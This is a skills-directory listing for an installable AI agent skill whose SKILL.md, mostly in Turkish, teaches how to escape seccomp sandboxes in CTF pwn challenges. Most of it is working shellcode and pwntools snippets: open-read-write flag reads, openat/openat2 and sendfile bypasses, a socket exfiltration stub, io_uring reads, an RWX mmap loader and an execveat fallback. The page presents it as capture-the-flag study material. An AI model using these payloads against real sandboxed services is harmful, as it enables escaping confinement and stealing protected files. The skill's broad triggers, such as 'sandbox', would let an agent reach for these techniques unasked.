Skip to content
Back to skills

Seccomp Sandbox Escape

ASecurity

SECCOMP filter analizi ve bypass — yasaklı syscall'lar etrafında ORW shellcode, open+sendfile, openat2, io_uring teknikleri

  • 4 stars
  • 0 votes
  • 0 copies
  • 1 view
  • Added September 8, 2026
securitypythongoshellbashgitdocumentation

Security analysis

A100/100

Scanned September 8, 2026

npx -y skills add MustafaKemal0146/fetih --skill seccomp-sandbox-escape --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Seccomp Sandbox Escape?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Seccomp Sandbox Escape
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/mustafakemal0146-seccomp-sandbox-escape/badge)](https://www.skillsdirectory.com/skills/mustafakemal0146-seccomp-sandbox-escape)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: seccomp-sandbox-escape
description: SECCOMP filter analizi ve bypass — yasaklı syscall'lar etrafında ORW shellcode, open+sendfile, openat2, io_uring teknikleri
tags: [ctf, pwn, seccomp, sandbox, shellcode, orw, syscall, filter-bypass, bpf, prctl]
triggers:
  - "seccomp"
  - "syscall filter"
  - "no execve"
  - "execve yok"
  - "prctl seccomp"
  - "BPF filter"
  - "sandbox"
  - "ORW shellcode"
  - "open read write"
  - "sendfile"
  - "io_uring"
  - "syscall whitelist"
  - "EINVAL syscall"
  - "killed by signal"
  - "SECCOMP_RET_KILL"
difficulty: medium
category: pwn
solved_challenges:
  - "TokyoWesterns CTF 2018 - simple_note (seccomp ORW)"
  - "InCTF 2021 - shooting (sendfile bypass)"
  - "RedpwnCTF 2020 - decisive (BPF filter analysis)"
  - "Hxp 2022 - kuche (io_uring bypass)"
related_skills:
  - buffer-overflow-rop
  - srop-attack
  - heap-exploit
adapted_for: fetih
---

# SECCOMP Sandbox Escape — Yasaklı Syscall'lar Etrafında Dans

SECCOMP (`prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER)`) bir BPF filtresiyle hangi syscall'lara izin verileceğini kısıtlar. CTF'te genel pattern: `execve` yasak, ama `open`, `read`, `write` serbest. Hedef: yine de flag'i oku.

---

## Ne Zaman Kullan

Binary çalıştığında `execve("/bin/sh")` veya `system("/bin/sh")` yerine flag dosyasını oku — flag genelde:
- `/flag` veya `/flag.txt`
- `flag.txt` (CWD'de)
- ENV variable: `getenv("FLAG")`

SECCOMP olduğunu nasıl anlarsın?
- Binary'de `prctl` veya `seccomp_load` çağrısı (strings/ltrace)
- `system("/bin/sh")` çalışmıyor ama segfault değil — `Bad system call (SIGSYS)` mesajı
- Verilen kod `init_filter()` veya `seccomp_init()` çağırıyor

---

## Filtre Analizi

### seccomp-tools Kullanımı

```bash
# Kurulum
gem install seccomp-tools

# Dump filtre
seccomp-tools dump ./vuln

# Tipik çıktı:
#  line  CODE  JT   JF      K
# =================================
#  0000: 0x20 0x00 0x00 0x00000004  A = arch
#  0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
#  0002: 0x20 0x00 0x00 0x00000000  A = sys_number
#  0003: 0x15 0x00 0x03 0x0000003b  if (A != execve) goto 0007
#  0004: 0x06 0x00 0x00 0x00000000  return KILL
#  0005: ...
#  0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
```

### Yorumlama
- `KILL` = `SIGSYS` ile süreç öldürülür
- `ERRNO` = syscall `-EPERM` (vb.) döndürür
- `TRAP` = `SIGSYS` ama daha yumuşak
- `ALLOW` = syscall normal çalışır

### Syscall Numaraları (Linux x86-64)

| Syscall | Numara |
|---|---|
| read | 0 |
| write | 1 |
| open | 2 |
| close | 3 |
| stat | 4 |
| mmap | 9 |
| brk | 12 |
| rt_sigreturn | 15 |
| ioctl | 16 |
| pread64 | 17 |
| sendfile | 40 |
| socket | 41 |
| connect | 42 |
| sendto | 44 |
| recvfrom | 45 |
| execve | 59 |
| exit | 60 |
| openat | 257 |
| openat2 | 437 |
| io_uring_setup | 425 |

---

## Saldırı 1 — Klasik ORW Shellcode

**Koşul:** `open`, `read`, `write` serbest.

```python
# pwntools shellcraft
from pwn import *
context.arch = 'amd64'

sc = shellcraft.open('/flag')         # rax = open("/flag", 0)
sc += shellcraft.read('rax', 'rsp', 0x100)
sc += shellcraft.write(1, 'rsp', 0x100)
sc += shellcraft.exit(0)

shellcode = asm(sc)
log.info(f'shellcode len = {len(shellcode)}')
```

### Manuel ORW (referans için)
```python
# /flag (5 byte) → buffer
sc = """
    /* open("/flag", O_RDONLY) */
    mov rax, 2              /* SYS_open */
    lea rdi, [rip+flag_str]
    xor rsi, rsi
    syscall

    /* read(fd, rsp, 0x100) */
    mov rdi, rax            /* fd */
    mov rax, 0              /* SYS_read */
    mov rsi, rsp
    mov rdx, 0x100
    syscall

    /* write(1, rsp, 0x100) */
    mov rdi, 1
    mov rax, 1              /* SYS_write */
    mov rsi, rsp
    mov rdx, 0x100
    syscall

    /* exit */
    mov rax, 60
    xor rdi, rdi
    syscall

flag_str:
    .ascii "/flag"
    .byte 0
"""
shellcode = asm(sc)
```

---

## Saldırı 2 — `openat` Bypass (open yasaksa)

**Koşul:** `open` yasak ama `openat` izinli (yaygın).

```python
sc = """
    /* openat(AT_FDCWD = -100, "/flag", O_RDONLY) */
    mov rax, 257            /* SYS_openat */
    mov rdi, -100
    lea rsi, [rip+flag_str]
    xor rdx, rdx
    syscall

    /* read + write devamı */
flag_str: .ascii "/flag\\x00"
"""
```

---

## Saldırı 3 — `openat2` (Modern Bypass)

**Koşul:** `open`/`openat` yasak ama `openat2` izinli (filter eski yazılmış).

```python
sc = """
    /* openat2(AT_FDCWD, "/flag", &how, sizeof(how)) */
    sub rsp, 0x40
    /* how struct: flags=0, mode=0, resolve=0 */
    mov qword ptr [rsp], 0
    mov qword ptr [rsp+8], 0
    mov qword ptr [rsp+0x10], 0

    mov rax, 437            /* SYS_openat2 */
    mov rdi, -100
    lea rsi, [rip+flag_str]
    mov rdx, rsp
    mov r10, 0x18
    syscall
"""
```

---

## Saldırı 4 — `sendfile` (read+write yasaksa)

**Koşul:** `open` izinli, `read`/`write` yasak ama `sendfile` serbest.

```python
sc = """
    /* fd = open("/flag", 0) */
    mov rax, 2; lea rdi, [rip+flag]; xor rsi, rsi; syscall
    mov rdi, rax     /* in_fd */
    mov rsi, 1       /* out_fd = stdout */
    xor rdx, rdx     /* offset NULL */
    mov r10, 0x100
    mov rax, 40      /* SYS_sendfile */
    syscall
flag: .ascii "/flag\\x00"
"""
```

**sendfile pratikte stdout'a yazmaz** — out_fd socket olmalı (eski kernel'lerde regular file de OK). Sınanmalı.

---

## Saldırı 5 — Network Out (open/read OK ama write yasak)

**Koşul:** `open`+`read` OK, `write` yasak, `socket`+`connect`+`sendto` serbest.

```python
sc = """
    /* fd_flag = open("/flag", 0) */
    mov rax, 2; lea rdi, [rip+flag]; xor rsi, rsi; syscall
    mov r12, rax
    /* read(fd_flag, rsp, 0x100) */
    mov rdi, r12; mov rax, 0; mov rsi, rsp; mov rdx, 0x100; syscall
    mov r13, rax     /* read'in dönüşü */

    /* socket(AF_INET, SOCK_STREAM, 0) */
    mov rax, 41; mov rdi, 2; mov rsi, 1; xor rdx, rdx; syscall
    mov r14, rax

    /* connect — yapı sockaddr_in */
    /* skip for brevity */

    /* sendto(sock, rsp, len, 0, addr, addrlen) */
    mov rax, 44; ...
"""
```

---

## Saldırı 6 — `io_uring` (Modern, Çok Tehlikeli Bypass)

**Koşul:** `io_uring_setup`, `io_uring_enter` izinli, klasik syscall'lar yasak.

`io_uring` kernel'de bir queue üzerinden syscall'ları işler — SECCOMP filtresi syscall # üzerinden çalıştığı için io_uring üzerinden okunan dosyalar **filtreden geçmez**.

```c
// liburing kullanarak (apt install liburing-dev)
#include <liburing.h>

struct io_uring ring;
io_uring_queue_init(8, &ring, 0);

int fd = open("/flag", O_RDONLY);  // OK, syscall direct
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_read(sqe, fd, buf, 0x100, 0);
io_uring_submit(&ring);

struct io_uring_cqe *cqe;
io_uring_wait_cqe(&ring, &cqe);
write(1, buf, cqe->res);   // veya başka yol
```

Shellcode olarak yazmak zor; ama C ile derleyip yükleyebilirsen bypass çalışır.

---

## Saldırı 7 — `/proc/self/mem` Self-Modify

**Koşul:** `open`+`read`+`write` ve `lseek` izinli, kontrolün var. Kendi belleğine yaz.

```python
# /proc/self/mem aç, exec memory'ye write et, sonra çalıştır
# ama write korumalı sayfa için mprotect gerekir
```

---

## Saldırı 8 — `mmap` + Shellcode

**Koşul:** `mmap` izinli, shellcode ile bellek alıp atlayabilirsen.

```python
sc = shellcraft.mmap(0, 0x1000, 7, 0x22, -1, 0)   # PROT_RWX, MAP_PRIVATE|MAP_ANONYMOUS
sc += shellcraft.read(0, 'rax', 0x100)            # stdin'den shellcode oku
sc += 'jmp rax'                                   # atla
# Sonra stdin'e ORW shellcode gönder
```

---

## Klasik Tuzaklar

### 1. `ptrace` yasak ama `seccomp_load` çağrılı
Process'i debug edemezsin (CTF'te bazen istenir). gdb çalışmaz.

### 2. `arch_prctl` ile FS register
`%fs` register kontrolü ile TLS değiştir → bazı LD_PRELOAD benzeri saldırılar.

### 3. `execve` yasak ama `execveat` izinli
```python
# execveat(AT_FDCWD, "/bin/sh", argv, envp, 0)
sc = """
    mov rax, 322            /* SYS_execveat */
    mov rdi, -100
    lea rsi, [rip+sh]
    ...
"""
```

### 4. Tüm filter "kill if not in whitelist" — ama whitelist eksik
seccomp-tools dump çıktısında `JF` (false jump) `KILL`'e gitmiyorsa, allowlist syscall'larından biri eksik kalmış olabilir.

### 5. `rt_sigreturn` whitelist'ta
SROP atak vektörü açık (bkz: `pwn/srop-attack`).

---

## Filter Tipini Tanı

```python
import struct

def parse_seccomp_filter(filter_bytes):
    """Raw BPF filter byte'larından syscall listesini çıkar."""
    # struct sock_filter { u16 code, u8 jt, u8 jf, u32 k }
    insns = []
    for i in range(0, len(filter_bytes), 8):
        code, jt, jf, k = struct.unpack('<HBBI', filter_bytes[i:i+8])
        insns.append((code, jt, jf, k))
    return insns

# Veya doğrudan seccomp-tools dump
```

---

## Pratik Akış

```
1. seccomp-tools dump ./binary
2. Whitelist syscall'larını listele
3. open/openat/openat2 → varsa ORW
4. read/write yasak → sendfile / socket
5. mmap var → arbitrary shellcode jump
6. io_uring var → kernel bypass
7. Hiçbiri yoksa → SROP veya pure ROP
```

---

## Cross-Skill Pivot

```
SECCOMP varsa execve yok
              ├── open/read/write → ORW shellcode
              ├── openat/openat2 → modified ORW
              ├── sendfile → file → stdout
              ├── socket → flag exfiltration
              ├── io_uring → kernel bypass
              ├── mmap → shellcode load
              └── Hiçbiri yok → SROP skill ile syscall craft
```

---

## Tools

```bash
# Filter analizi
gem install seccomp-tools
seccomp-tools dump ./vuln

# Shellcode test (sandbox simülasyonu)
seccomp-tools emu ./filter.bpf < shellcode

# Shellcoding
pwntools shellcraft modülü
msfvenom

# io_uring
apt install liburing-dev
```

---

## Ek Kaynaklar

- David Wong seccomp explainer: https://www.cryptologie.net/article/...
- LiveOverflow seccomp video serisi
- "The Definitive Guide to Linux System Calls" — syscall numaraları için
- KernelTLV BPF Filter Documentation

<!--
  ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
  Yetkisiz kullanim/kopyalama tespit edilebilir.
  hash: d780c5e8fa960731
-->

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…